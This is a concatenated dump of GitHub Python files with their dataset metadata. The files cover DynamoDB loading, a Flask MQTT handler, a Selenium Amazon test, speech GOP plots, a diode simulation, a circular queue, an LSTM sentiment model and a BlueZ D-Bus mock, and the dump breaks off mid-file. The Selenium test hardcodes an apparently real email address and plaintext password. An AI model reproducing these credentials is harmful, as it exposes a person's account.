[\r\n 285,\r\n 2,\r\n 987,\r\n 128,\r\n 6356,\r\n 6684\r\n ]\r\n },\r\n }\r\n )\r\n \r\n# 7. Json 파일을 이용해 항목 데이터로 생성하기\r\nif __name__ == '__main__':\r\n def load_json_to_dict(load_path):\r\n import json\r\n with open(load_path, 'r', encoding=\"utf-8\") as data_file:\r\n data = data_file.read()\r\n data_file.close()\r\n d = json.loads(data)\r\n return d\r\n \r\n table = dynamodb.Table('relatedTags')\r\n load_path = \"D:\\\\vora_recommendation\\\\data_add_time_dynamo1.json\"\r\n data = load_json_to_dict(load_path)\r\n table = dynamodb.Table('relatedTags')\r\n \r\n dataIdx = data['idx']\r\n dataCreatedTime = data['createdTime']\r\n dataRelatedTags = data['relatedTags']\r\n \r\n response = table.put_item(\r\n Item={\r\n 'idx': dataIdx,\r\n 'createdTime': dataCreatedTime,\r\n 'relatedTags': dataRelatedTags\r\n })\r\n printer = pprint.PrettyPrinter(indent=2)\r\n printer.pprint(response)\r\n time.sleep(.500)\r\n","repo_name":"boohk/Python","sub_path":"AWS/DynamoDBConnector.py","file_name":"DynamoDBConnector.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"40246396807","text":"from flask_mqtt import Mqtt\nfrom sqlalchemy import exc\nfrom FASToryLine.configurations import BASE_TOPIC\nfrom FASToryLine.dbModels import AuthResult,Emotion\nfrom FASToryLine import app,db\nimport json,datetime\nfrom pprint import pprint as P\nmqtt = Mqtt(app)\n#####MQTT callbacks################\n\n@mqtt.on_connect()\ndef handle_connect(client, userdata, flags, rc):\n if rc==0:\n mqtt.unsubscribe_all()\n mqtt.subscribe(f'{BASE_TOPIC}authentication')\n print(f'[X-Routes] Subscribed to topic: {BASE_TOPIC}authentication')\n mqtt.subscribe(f'{BASE_TOPIC}emotion')\n print(f'[X-Routes] Subscribed to topic: {BASE_TOPIC}emotion') \n else:\n print(\"[X-Routes] Bad connection Returned code=\",rc)\n\n@mqtt.on_subscribe()\ndef handle_subscribe(client, userdata, mid, granted_qos):\n print('[X-Routes] Subscription id {} granted with qos {}.'\n .format(mid, granted_qos)) \n\n@mqtt.on_disconnect()\ndef handle_disconnect():\n mqtt.unsubscribe_all()\n print(\"[X-Routes] CLIENT DISCONNECTED\")\n\n@mqtt.on_message()\ndef handle_mqtt_message(client, userdata, message):\n try:\n message_in=json.loads(message.payload)\n #print(f\"[X-Routes] {type(message_in)},'??',{message_in}\")\n if message.retain ==1:\n print(f'[X] Retained message from zRefApp......')\n return \n \n if message.topic == f'{BASE_TOPIC}authentication':\n \n authResults = message_in\n result = AuthResult( \n Authenticated = authResults.get(\"authenticated\"), \n Description = authResults.get(\"description\"),\n DetectedFaces = authResults.get(\"detectedFaces\"), \n DistanceScore = authResults.get(\"distanceScore\")\n )\n db.session.add(result)\n db.session.commit()\n P(message_in)\n print(f'[X]: Auth result added to DB @ {datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")}')\n elif message.topic == f'{BASE_TOPIC}emotion':\n #{\"detail\":\"Not a valid file was uploaded\"}\n #print(message.topic)\n if message_in.get(\"Response\"):\n result = Emotion( \n StressLevel = message_in.get(\"Response\").get('stress_level')\n )\n db.session.add(result)\n db.session.commit()\n P(message_in)\n print(f'[X]: Emotion response result added to DB @ {datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")}')\n else:\n result = Emotion( \n Description = message_in.get(\"detail\")\n )\n db.session.add(result)\n db.session.commit()\n P(message_in)\n print(f'[X]: Emotion Not valid profile result added to DB @ {datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")}')\n\n except exc.SQLAlchemyError as e:\n print(f'[XE] {e}')\n except ValueError:\n print('[X-Routes] Decoding JSON has failed')\n\n# @app.route('/welcomes', methods = ['GET'])\n# def welcomes():\n# return ''\n","repo_name":"mahboobelahi/ZDMPStuff","sub_path":"Quadible-CALM_Old/FASToryLine/messageBus.py","file_name":"messageBus.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"22583805606","text":"import time\nimport unittest\nfrom selenium import webdriver\nfrom Pages.MainPage import MainPageClass\nfrom Pages.MyAccountHomePage import MyAccountHomePageClass\nfrom Pages.AmazonCardSection import AmazonCardSectionClass\nfrom Pages.AmazonItemSearchField import AmazonItemSearchFieldClass\nfrom Pages.SearchResultPage import SearchResultPageClass\nfrom Pages.FoundItemPage import FoundItemPageClass\n\n\n\n\nclass AmazonSimpleTestClass(unittest.TestCase):\n def setUp(self):\n self.driver = webdriver.Chrome()\n self.driver.delete_all_cookies()\n self.driver.maximize_window()\n self.mainPage = MainPageClass(self.driver)\n self.MyAccountHomePage = MyAccountHomePageClass(self.driver)\n self.AmazonCardSection = AmazonCardSectionClass(self.driver)\n self.AmazonItemSearchField = AmazonItemSearchFieldClass(self.driver)\n self.SearchResultPage = SearchResultPageClass(self.driver)\n self.FoundItemPage = FoundItemPageClass(self.driver)\n\n\n\n def test_simpleTC(self):\n self.driver.get(\"https://www.amazon.com/\")\n self.mainPage.press_amazon_SignIn_account_Button()\n self.mainPage.fill_signin_field(\"kimkrugeractress@gmail.com\")\n\n time.sleep(4)\n self.mainPage.press_amazon_continue_Button()\n\n time.sleep(3)\n self.mainPage.fill_password_field(\"kim2002++\")\n\n time.sleep(5)\n self.mainPage.press_amazon_checkbox_field()\n\n time.sleep(5)\n self.mainPage.press_amazon_SignIn_Button()\n\n time.sleep(5)\n self.MyAccountHomePage.press_amazon_bucket_Button()\n\n time.sleep(3)\n self.AmazonCardSection.delete_one_product()\n\n time.sleep(3)\n self.AmazonItemSearchField.fill_item_search_field(\"jbl bluetooth headphones\")\n\n time.sleep(3)\n self.AmazonItemSearchField.press_item_search_button()\n\n time.sleep(2)\n self.SearchResultPage.scroll(\"window.scrollto(0, 0)\")\n\n time.sleep(3)\n self.SearchResultPage.finde_certain_item_button()\n\n time.sleep(3)\n self.FoundItemPage.change_location_button()\n\n time.sleep(3)\n self.FoundItemPage.fill_zip_code_filde(\"19701\")\n\n time.sleep(3)\n self.FoundItemPage.press_zip_code_apply_button()\n\n time.sleep(3)\n self.FoundItemPage.press_add_to_card_button()\n\n\n\n\n\n def tearDown(self):\n time.sleep(4)\n self.driver.close()","repo_name":"petrosyankn/pythonProjectSelenium","sub_path":"TestCases/AmazonTest.py","file_name":"AmazonTest.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"42378162633","text":"import sys\nimport re\nimport pandas as pd\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nimport os\nimport pdb\nimport numpy as np\nfrom sklearn import metrics\nimport json\n\ndef readGOPToDF(df, gop_file, method):\n temp_list = []\n with open(gop_file, 'r') as in_file:\n for line in in_file:\n line = line.strip()\n fields = line.split(' ')\n if len(fields) != 5:\n sys.exit(\"wrong line in the input GOP files\")\n temp_list.append([fields[1], round(float(fields[2]),3), fields[3], method])\n return df.append(pd.DataFrame(temp_list, columns=('phoneme','score','label', 'method')))\n \ndef plot(df, json_dict, outFile):\n methods = df['method'].unique()\n all_phonemes = df['phoneme'].unique()\n fig, axs = plt.subplots(len(all_phonemes), len(methods), figsize=(20, 4*len(all_phonemes)))\n df[\"label\"] = np.where(df['label']=='C', 0, 1 )\n for row,phoneme in enumerate(all_phonemes):\n for col,mtd in enumerate(methods):\n data_true = df.loc[(df[\"phoneme\"] == phoneme) & (df[\"method\"] == mtd) & (df[\"label\"] == 1), ['score', 'label']].to_numpy()\n data_false = df.loc[(df[\"phoneme\"] == phoneme) & (df[\"method\"] == mtd) & (df[\"label\"] == 0), ['score','label']].to_numpy()\n ax = axs[row][col]\n plot_labels = []\n add_label(ax.violinplot(data_true[:,0],vert=False, quantiles=[0.25,0.5,0.75], points=500, positions=[0]), \"Sub or Del({})\".format(data_true[:,0].shape[0]), plot_labels)\n add_label(ax.violinplot(data_false[:,0],vert=False, quantiles=[0.25,0.5,0.75], points=100, positions=[1]), \"Correct({})\".format(data_false[:,0].shape[0]), plot_labels)\n ax.set_xlim([-70, 5])\n ax.set_xlim([-70, 5])\n ax.set_title(mtd + ', Gop for phoneme: ' + phoneme)\n ax.get_yaxis().set_visible(False)\n auc_value = auc_cal(np.concatenate((data_true, data_false), axis=0))\n auc_artist, = plt.plot([], [])\n auc_label = (auc_artist, \"AUC = {}\".format(auc_value))\n if phoneme in json_dict[mtd][\"phonemes\"].keys(): \n #p:(closest_phoneme, mean_diff, auc_value, entropy, count_of_real, count_of_error)\n entropy = json_dict[mtd][\"phonemes\"][phoneme][3]\n auc_teacher = json_dict[mtd][\"phonemes\"][phoneme][2]\n L = round(entropy*auc_teacher, 3)\n json_artist, = plt.plot([], [])\n json_label = (json_artist, \"E={}, A={}, L={}\".format(entropy, auc_teacher, L))\n ax.legend(*zip(*(plot_labels+[auc_label, json_label])), loc=2)\n else:\n ax.legend(*zip(*(plot_labels+[auc_label])), loc=2)\n os.makedirs(os.path.dirname(outFile), exist_ok=True)\n plt.savefig(outFile)\n\ndef auc_cal(array): #input is a nX2 array, with the columns \"score\", \"label\"\n labels = [ 0 if i == 0 else 1 for i in array[:, 1]]\n if len(set(labels)) <= 1:\n return \"NoDef\"\n else:\n #negative because GOP is negatively correlated to the probablity of making an error\n return round(metrics.roc_auc_score(labels, -array[:, 0]),3)\n \n\ndef add_label(violin, method, labels):\n color = violin[\"bodies\"][0].get_facecolor().flatten()\n labels.append((mpatches.Patch(color=color), method))\n\ndef read_json(path):\n with open(path,\"r\") as injson:\n return json.load(injson)\n\nif __name__ == \"__main__\":\n if len(sys.argv) <= 1 :\n sys.exit(\"this script takes ... as arguments. It plots the GOP distributions for each phoneme\")\n\n df = pd.DataFrame(columns=('phoneme','score','label', 'method'))\n #methods = ['GMM-mono', 'GMM-mono-frame', 'DNN-mono', 'DNN-tri']\n methods = ['GMM-mono', 'DNN-tri']\n json_dict = { mtd:None for mtd in methods}\n assert(len(methods) == (len(sys.argv) - 2)/2)\n for i,mtd in enumerate(methods):\n df = readGOPToDF(df, sys.argv[2*i+1], mtd)\n json_dict[mtd] = read_json(sys.argv[2*i+2])\n print(\"read one GOP\")\n\n plot(df, json_dict, sys.argv[-1])\n","repo_name":"frank613/tools-ntnu","sub_path":"cmu_miss_pron/exp-new/plot_gop_entropy.py","file_name":"plot_gop_entropy.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"71494160254","text":"import re\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\ndelta = 1e-12\nIs = 1\n\n\ndef f(x):\n y = 2 / 3 * x - 5 / 3 + math.exp(40 * x)\n return y\n\n\ndef df(x):\n d = (f(x) - f(x - delta)) / delta\n return d\n\n\ndef line2zero(x0):\n y = f(x0)\n k = df(x0)\n x1 = x0 - y / k\n return x1\n\n\ndef cmpr(x):\n if f(x) <= delta:\n flag = True\n else:\n flag = False\n return flag\n\n\nx = 10\n\nwhile True:\n if cmpr(x):\n print(x)\n break\n else:\n x = line2zero(x)\n\n\ndef i_diode(vd):\n i = Is * (math.exp(40 * vd) - 1)\n return i\n\n\ndef v_diode(id):\n v = math.log((id / Is + 1), math.e) / 40\n return v\n\n\ndef plot_i_v(start, stop, point_num):\n x = np.linspace(start, stop, point_num, endpoint=True)\n i = []\n for index in range(len(x)):\n i += [i_diode(x[index])]\n\n ymax = max(i, key=lambda v : v)\n ymin = min(i, key=lambda v : v)\n m = ymax * 1.2\n n = ymin * 1.2\n\n plt.plot(x, i, color=\"blue\", linewidth=1.0, linestyle=\"-\")\n plt.xlim(start, stop)\n plt.xticks(np.linspace(start, stop, 9, endpoint=True))\n plt.ylim(n, m)\n plt.yticks(np.linspace(n, m, 5, endpoint=True))\n plt.xlabel('voltage $V_D$/V')\n plt.ylabel('current $i_D$/A')\n plt.title('I-V for diode\\n', fontsize=12)\n\n ax = plt.gca()\n ax.spines['right'].set_color('none')\n ax.spines['top'].set_color('none')\n ax.xaxis.set_ticks_position('bottom')\n ax.spines['bottom'].set_position(('data', 0))\n ax.yaxis.set_ticks_position('left')\n ax.spines['left'].set_position(('data', 0))\n\n plt.savefig(\"I-V_D.png\", dpi=288)\n plt.show()\n\n return\n\n\nplot_i_v(-0.1, 0.1, 1000)\n","repo_name":"yangbyangb/EDA_python","sub_path":"pyEDA/hw6.py","file_name":"hw6.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"14712838799","text":"from string import Template\nfrom datetime import datetime\n\n\ndef welcome(login_user, name_user):\n with open ('src/template/template_welcome.html', 'r') as file:\n template = Template(file.read())\n date_now = datetime.now().strftime('%d/%m/%y')\n body_message = template.substitute(login=login_user , name=name_user, date=date_now)\n print(body_message)\n return body_message\n\n\nwelcome('Superman', 'Clark')","repo_name":"wagnerberna/cursos-python","sub_path":"Flask/07_RESTX_Mongo_Token_email_users_v4/src/view/view_v1.py","file_name":"view_v1.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"10355985591","text":"class MyCircularQueue:\n def __init__(self, k: int):\n self.Length = k\n self.Queue = [None for i in range(k)]\n self.FrontIDX = 0\n self.RearIDX = 0\n self.Full = False\n def enQueue(self, value: int) -> bool:\n if not self.Full:\n self.Queue[self.RearIDX] = value\n self.RearIDX += 1\n if self.RearIDX == self.Length:\n self.RearIDX = 0\n if self.RearIDX == self.FrontIDX:\n self.Full = True\n return True\n return False\n def deQueue(self) -> bool:\n if self.isEmpty():\n return False\n self.Full = False\n self.FrontIDX += 1\n if self.FrontIDX == self.Length:\n self.FrontIDX = 0\n return True\n def Front(self) -> int:\n if self.isEmpty():\n return -1\n return self.Queue[self.FrontIDX]\n def Rear(self) -> int:\n if self.isEmpty():\n return -1\n return self.Queue[self.RearIDX-1]\n def isEmpty(self) -> bool:\n return self.Full == False and self.RearIDX == self.FrontIDX\n def isFull(self) -> bool:\n return self.Full\n\n\n# Your MyCircularQueue object will be instantiated and called as such:\n# obj = MyCircularQueue(k)\n# param_1 = obj.enQueue(value)\n# param_2 = obj.deQueue()\n# param_3 = obj.Front()\n# param_4 = obj.Rear()\n# param_5 = obj.isEmpty()\n# param_6 = obj.isFull()","repo_name":"hyuneie/LeetCode","sub_path":"622-design-circular-queue/622-design-circular-queue.py","file_name":"622-design-circular-queue.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"1650763699","text":"import sys\nimport numpy as np\nimport pandas as pd\nfrom keras.models import Sequential,Model\nfrom gensim.models import Word2Vec\nfrom keras.layers import Input,LSTM,Bidirectional,Flatten, GRU, Dropout, Dense,TimeDistributed, Activation\nfrom keras.layers.embeddings import Embedding\nfrom keras.models import load_model\nfrom keras.callbacks import ModelCheckpoint,EarlyStopping\nfrom keras import optimizers\nimport _pickle as pk\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.utils import to_categorical\nfrom keras import regularizers\nimport gensim\n\ndef loaddata(file_label,file_nolab):\n\tlabel = []\n\tword_train = []\n\tlab_data = []\n\tla_data = open(file_label,\"r\",encoding='utf-8')\n\tno_la = open(file_nolab,\"r\",encoding='utf-8')\n\tfor l in la_data:\n\t\ttmp = l.strip().split(\" +++$+++ \")\n\t\tlabel.append(int(tmp[0]))\n\t\tword_train.append(tmp[1])\n\t\tlab_data.append(tmp[1])\n\tfor n in no_la:\n\t\ttmp1 = n.strip()\n\t\tword_train.append(tmp1)\n\tlabel = np.array(label)\n\tword_train = np.array(word_train)\n\tlab_data = np.array(lab_data)\n\t#print(\"yes/no label :\",len(label),\"tr_data : \",len(word_train))\n\treturn label,word_train,lab_data\n\ndef random(Xtrain,Ytrain):\n r_list = np.array(range(0,len(Xtrain)))\n np.random.shuffle(r_list)\n Xtrain = Xtrain[r_list]\n Ytrain = Ytrain[r_list]\n return Xtrain,Ytrain\ndef split_data(X,Y, ratio):\n\tdata_size = len(X)\n\tval_size = int(data_size * ratio)\n\treturn X[val_size:],Y[val_size:],X[:val_size],Y[:val_size]\n\nfile_label = sys.argv[1]\nfile_nolab = sys.argv[2]\ntok_path = sys.argv[3]\nWord_path = sys.argv[4]\nmodel_path = sys.argv[5]\n(tr_lab,word_data,tr_data) = loaddata(file_label,file_nolab)\n#print(\"num 0 \",tr_lab[0],tr_data[0])\nprint(\"label :\",tr_lab.shape,\"tr_data : \",tr_data.shape)\nMax_len = 40\n\nstem = gensim.parsing.porter.PorterStemmer()\ntr_data = [e for e in stem.stem_documents(tr_data)]\nword_data = [k for k in stem.stem_documents(word_data)]\n\ntokenizer = Tokenizer(num_words=None, filters='\\t\\n')\ntokenizer.fit_on_texts(word_data)\n\npk.dump(tokenizer,open(tok_path,'wb'))\ntokenizer = pk.load(open(tok_path,'rb'))\n(tr_data_f,tr_lab_f,va_data,va_lab) = split_data(tr_data,tr_lab,0.1)\n\nsequences = tokenizer.texts_to_sequences(tr_data_f)\ndata = np.array(pad_sequences(sequences, maxlen=Max_len))\nval_sequences = tokenizer.texts_to_sequences(va_data)\nvalid_data = np.array(pad_sequences(val_sequences, maxlen=Max_len))\n\n\n#labels = np.array(to_categorical(tr_lab))\n#labels = tr_lab\n\n\n#print(\"tr_data_f,tr_lab_f,va_data,va_lab : \",tr_data_f.shape,tr_lab_f.shape,va_data.shape,va_lab.shape)\n\nword2vec_data = [w.split(\" \") for w in word_data]\nprint(\"=============Word2Vec=============\")\nWVmodel = Word2Vec(word2vec_data, size=100, window=5, min_count=0, workers=4)\nWVmodel.save(Word_path)\nR_WVmodel = Word2Vec.load(Word_path)\n\n\nword_index = tokenizer.word_index\nprint('Found %s unique tokens.' % len(word_index))\nprint(\"Sequence 0 :\",sequences[0])\nprint(\"tr_data 0 : \",tr_data[0])\nlen_tr = len(word2vec_data)\n\n#translate\nembeded = np.zeros((len(word_index),100))\ncou = 0\nfor w ,i in word_index.items():\n\ttry:\n\t\ttmp = R_WVmodel.wv[w]\n\t\tembeded[i] = tmp\n\texcept:\n\t\tcou+=1\n#train\ninputs = Input(shape=(Max_len,))\n\n# Embedding layer\nembedding_inputs = Embedding(len(word_index),100,weights=[embeded],trainable=False)(inputs)\n# RNN \nRNN_cell_f = Bidirectional(LSTM(128,activation=\"tanh\",dropout=0.3,return_sequences = True))(embedding_inputs)\nRNN_cell = Bidirectional(LSTM(50,activation=\"tanh\",dropout=0.2,return_sequences = False))(RNN_cell_f)\n\n#RNN_cell= LSTM(128,dropout=0.3,return_sequences = False)\n#RNN_output = RNN_cell(embedding_inputs)\n# DNN layer\noutputs = Dense(50,activation='relu',kernel_regularizer=regularizers.l2(0.1))(RNN_cell)\noutputs = Dropout(0.3)(outputs)\noutputs = Dense(1, activation='sigmoid')(outputs)\n \nmodel = Model(inputs=inputs,outputs=outputs)\n\nmodel.compile(loss=\"binary_crossentropy\", optimizer=\"adam\",metrics=[\"accuracy\"])\n\nModel_Check_Point = []\nModel_Check_Point.append(ModelCheckpoint('model-{epoch:05d}-{val_acc:.5f}-{val_loss:.5f}.hdf5', monitor='val_acc', save_best_only=True,mode='auto', period=1))\n#for i in rangwe(3):\nmodel.summary()\nmodel.fit(data,tr_lab_f,validation_data=(valid_data,va_lab) ,batch_size=64, epochs=10,callbacks = Model_Check_Point)\nmodel.save(model_path)\n","repo_name":"yuju30/NTUML18","sub_path":"hw5/HW5_sentiment.py","file_name":"HW5_sentiment.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"34928167191","text":"# -*- coding: utf-8 -*-\n\n'''bluetoothd mock template\n\nThis creates the expected methods and properties of the object manager\norg.bluez object (/), the manager object (/org/bluez), but no adapters or\ndevices.\n\nThis supports BlueZ 5 only.\n'''\n\n# This program is free software; you can redistribute it and/or modify it under\n# the terms of the GNU Lesser General Public License as published by the Free\n# Software Foundation; either version 3 of the License, or (at your option) any\n# later version. See http://www.gnu.org/copyleft/lgpl.html for the full text\n# of the license.\n\n__author__ = 'Philip Withnall'\n__copyright__ = '''\n(c) 2013 Collabora Ltd.\n(c) 2017 - 2022 Martin Pitt \n'''\n\nfrom pathlib import Path\n\nimport dbus\n\nfrom dbusmock import OBJECT_MANAGER_IFACE, mockobject\n\nBUS_NAME = 'org.bluez'\nMAIN_OBJ = '/'\nSYSTEM_BUS = True\nIS_OBJECT_MANAGER = True\n\nBLUEZ_MOCK_IFACE = 'org.bluez.Mock'\nAGENT_MANAGER_IFACE = 'org.bluez.AgentManager1'\nPROFILE_MANAGER_IFACE = 'org.bluez.ProfileManager1'\nADAPTER_IFACE = 'org.bluez.Adapter1'\nMEDIA_IFACE = 'org.bluez.Media1'\nNETWORK_SERVER_IFACE = 'org.bluez.Network1'\nDEVICE_IFACE = 'org.bluez.Device1'\n\n# The device class of some arbitrary Android phone.\nMOCK_PHONE_CLASS = 5898764\n\n\n@dbus.service.method(AGENT_MANAGER_IFACE,\n in_signature='os', out_signature='')\ndef RegisterAgent(manager, agent_path, capability):\n all_caps = ['DisplayOnly', 'DisplayYesNo', 'KeyboardOnly',\n 'NoInputNoOutput', 'KeyboardDisplay']\n\n if agent_path in manager.agent_paths:\n raise dbus.exceptions.DBusException(\n 'Another agent is already registered ' + manager.agent_path,\n name='org.bluez.Error.AlreadyExists')\n\n if capability not in all_caps:\n raise dbus.exceptions.DBusException(\n 'Unsupported capability ' + capability,\n name='org.bluez.Error.InvalidArguments')\n\n if not manager.default_agent:\n manager.default_agent = agent_path\n manager.agent_paths += [agent_path]\n manager.capabilities[str(agent_path)] = capability\n\n\n@dbus.service.method(AGENT_MANAGER_IFACE,\n in_signature='o', out_signature='')\ndef UnregisterAgent(manager, agent_path):\n if agent_path not in manager.agent_paths:\n raise dbus.exceptions.DBusException(\n 'Agent not registered ' + agent_path,\n name='org.bluez.Error.DoesNotExist')\n\n manager.agent_paths.remove(agent_path)\n del manager.capabilities[agent_path]\n if manager.default_agent == agent_path:\n if len(manager.agent_paths) > 0:\n manager.default_agent = manager.agent_paths[-1]\n else:\n manager.default_agent = None\n\n\n@dbus.service.method(AGENT_MANAGER_IFACE,\n in_signature='o', out_signature='')\ndef RequestDefaultAgent(manager, agent_path):\n if agent_path not in manager.agent_paths:\n raise dbus.exceptions.DBusException(\n 'Agent not registered ' + agent_path,\n name='org.bluez.Error.DoesNotExist')\n manager.default_agent = agent_path\n\n\ndef load(mock, _parameters):\n mock.AddObject('/org/bluez', AGENT_MANAGER_IFACE, {}, [\n ('RegisterAgent', 'os', '', RegisterAgent),\n ('RequestDefaultAgent', 'o', '', RequestDefaultAgent),\n ('UnregisterAgent', 'o', '', UnregisterAgent),\n ])\n\n bluez = mockobject.objects['/org/bluez']\n bluez.AddMethods(PROFILE_MANAGER_IFACE, [\n ('RegisterProfile', 'osa{sv}', '', ''),\n ('UnregisterProfile', 'o', '', ''),\n ])\n bluez.agent_paths = []\n bluez.capabilities = {}\n bluez.default_agent = None\n\n\n@dbus.service.method(ADAPTER_IFACE,\n in_signature='o', out_signature='')\ndef RemoveDevice(adapter, path):\n adapter.RemoveObject(path)\n\n manager = mockobject.objects['/']\n manager.EmitSignal(OBJECT_MANAGER_IFACE, 'InterfacesRemoved',\n 'oas', [\n dbus.ObjectPath(path),\n [DEVICE_IFACE],\n ])\n\n\n@dbus.service.method(ADAPTER_IFACE,\n in_signature='', out_signature='')\ndef StartDiscovery(adapter):\n adapter.props[ADAPTER_IFACE]['Discovering'] = True\n # NOTE: discovery filter support is minimal to mock\n # the Discoverable discovery filter\n if adapter.props[ADAPTER_IFACE]['DiscoveryFilter'] is not None:\n adapter.props[ADAPTER_IFACE]['Discoverable'] = True\n adapter.EmitSignal(dbus.PROPERTIES_IFACE, 'PropertiesChanged', 'sa{sv}as', [\n ADAPTER_IFACE,\n {\n 'Discoverable': dbus.Boolean(adapter.props[ADAPTER_IFACE]['Discoverable'], variant_level=1),\n 'Discovering': dbus.Boolean(adapter.props[ADAPTER_IFACE]['Discovering'], variant_level=1),\n },\n [],\n ])\n\n\n@dbus.service.method(ADAPTER_IFACE,\n in_signature='', out_signature='')\ndef StopDiscovery(adapter):\n adapter.props[ADAPTER_IFACE]['Discovering'] = False\n # NOTE: discovery filter support is minimal to mock\n # the Discoverable discovery filter\n if adapter.props[ADAPTER_IFACE]['DiscoveryFilter'] is not None:\n adapter.props[ADAPTER_IFACE]['Discoverable'] = False\n adapter.EmitSignal(dbus.PROPERTIES_IFACE, 'PropertiesChanged', 'sa{sv}as', [\n ADAPTER_IFACE,\n {\n 'Discoverable': dbus.Boolean(adapter.props[ADAPTER_IFACE]['Discoverable'], variant_level=1),\n 'Discovering': dbus.Boolean(adapter.props[ADAPTER_IFACE]['Discovering'], variant_level=1),\n },\n [],\n ])\n\n\n@dbus.service.method(ADAPTER_IFACE,\n in_signature='a{sv}', out_signature='')\ndef SetDiscoveryFilter(adapter, discovery_filter):\n adapter.props[ADAPTER_IFACE]['DiscoveryFilter'] = discovery_filter\n\n\n@dbus.service.method(BLUEZ_MOCK_IFACE,\n in_signature='ss', out_signature='s')\ndef AddAdapter(self, device_name, system_name):\n '''Convenience method to add a Bluetooth adapter\n\n You have to specify a device name which must be a valid part of an object\n path, e. g. \"hci0\", and an arbitrary system name (pretty hostname).\n\n Returns the new object path.\n '''\n path = '/org/bluez/' + device_name\n address_start = int(device_name[-1])\n address = (f\"{address_start:02d}:{address_start+1:02d}:{address_start+2:02d}:\"\n f\"{address_start+3:02d}:{address_start+4:02d}:{address_start+5:02d}\")\n adapter_properties = {\n 'UUIDs': dbus.Array([\n # Reference:\n # http://git.kernel.org/cgit/bluetooth/bluez.git/tree/lib/uuid.h\n # PNP\n '00001200-0000-1000-8000-00805f9b34fb',\n # Generic Access Profile\n '00001800-0000-1000-8000-00805f9b34fb',\n # Generic Attribute Profile\n '00001801-0000-1000-8000-00805f9b34fb',\n # Audio/Video Remote Control Profile (remote)\n '0000110e-0000-1000-8000-00805f9b34fb',\n # Audio/Video Remote Control Profile (target)\n '0000110c-0000-1000-8000-00805f9b34fb',\n ], variant_level=1),\n 'Discoverable': dbus.Boolean(False, variant_level=1),\n 'Discovering': dbus.Boolean(False, variant_level=1),\n 'Pairable': dbus.Boolean(True, variant_level=1),\n 'Powered': dbus.Boolean(True, variant_level=1),\n 'Address': dbus.String(address, variant_level=1),\n 'AddressType': dbus.String('public', variant_level=1),\n 'Alias': dbus.String(system_name, variant_level=1),\n 'Modalias': dbus.String('usb:v1D6Bp0245d050A', variant_level=1),\n 'Name': dbus.String(system_name, variant_level=1),\n # Reference:\n # http://bluetooth-pentest.narod.ru/software/\n # bluetooth_class_of_device-service_generator.html\n 'Class': dbus.UInt32(268, variant_level=1), # Computer, Laptop\n 'DiscoverableTimeout': dbus.UInt32(180, variant_level=1),\n 'PairableTimeout': dbus.UInt32(0, variant_level=1),\n }\n\n self.AddObject(path,\n ADAPTER_IFACE,\n # Properties\n adapter_properties,\n # Methods\n [\n ('RemoveDevice', 'o', '', RemoveDevice),\n ('StartDiscovery', '', '', StartDiscovery),\n ('StopDiscovery', '', '', StopDiscovery),\n ('SetDiscoveryFilter', 'a{sv}', '', SetDiscoveryFilter),\n ])\n\n adapter = mockobject.objects[path]\n adapter.AddMethods(MEDIA_IFACE, [\n ('RegisterEndpoint', 'oa{sv}', '', ''),\n ('UnregisterEndpoint', 'o', '', ''),\n ])\n adapter.AddMethods(NETWORK_SERVER_IFACE, [\n ('Register', 'ss', '', ''),\n ('Unregister', 's', '', ''),\n ])\n\n manager = mockobject.objects['/']\n manager.EmitSignal(OBJECT_MANAGER_IFACE, 'InterfacesAdded',\n 'oa{sa{sv}}', [\n dbus.ObjectPath(path),\n {ADAPTER_IFACE: adapter_properties},\n ])\n\n return path\n\n\n@dbus.service.method(BLUEZ_MOCK_IFACE,\n in_signature='s')\ndef RemoveAdapter(self, device_name):\n '''Convenience method to remove a Bluetooth adapter\n '''\n path = '/org/bluez/' + device_name\n # We could remove the devices related to the adapters here, but\n # when bluez crashes, the InterfacesRemoved aren't necessarily sent\n # devices first, so in effect, our laziness is testing an edge case\n # in the clients\n self.RemoveObject(path)\n\n manager = mockobject.objects['/']\n manager.EmitSignal(OBJECT_MANAGER_IFACE, 'InterfacesRemoved',\n 'oas', [\n dbus.ObjectPath(path),\n [ADAPTER_IFACE],\n ])\n\n\n@dbus.service.method(BLUEZ_MOCK_IFACE,\n in_signature='s')\ndef RemoveAdapterWithDevices(self, device_name):\n '''Convenience method to remove a Bluetooth adapter and all\n the devices associated to it\n '''\n adapter_path = '/org/bluez/' + device_name\n adapter = mockobject.objects[adapter_path]\n manager = mockobject.objects['/']\n\n to_remove = []\n for path in mockobject.objects:\n if path.startswith(adapter_path + '/'):\n to_remove.append(path)\n\n for path in to_remove:\n adapter.RemoveObject(path)\n manager.EmitSignal(OBJECT_MANAGER_IFACE, 'InterfacesRemoved',\n 'oas', [\n dbus.ObjectPath(path),\n [DEVICE_IFACE],\n ])\n\n self.RemoveObject(adapter_path)\n manager.EmitSignal(OBJECT_MANAGER_IFACE, 'InterfacesRemoved',\n 'oas', [\n dbus.ObjectPath(adapter_path),\n [ADAPTER_IFACE],\n 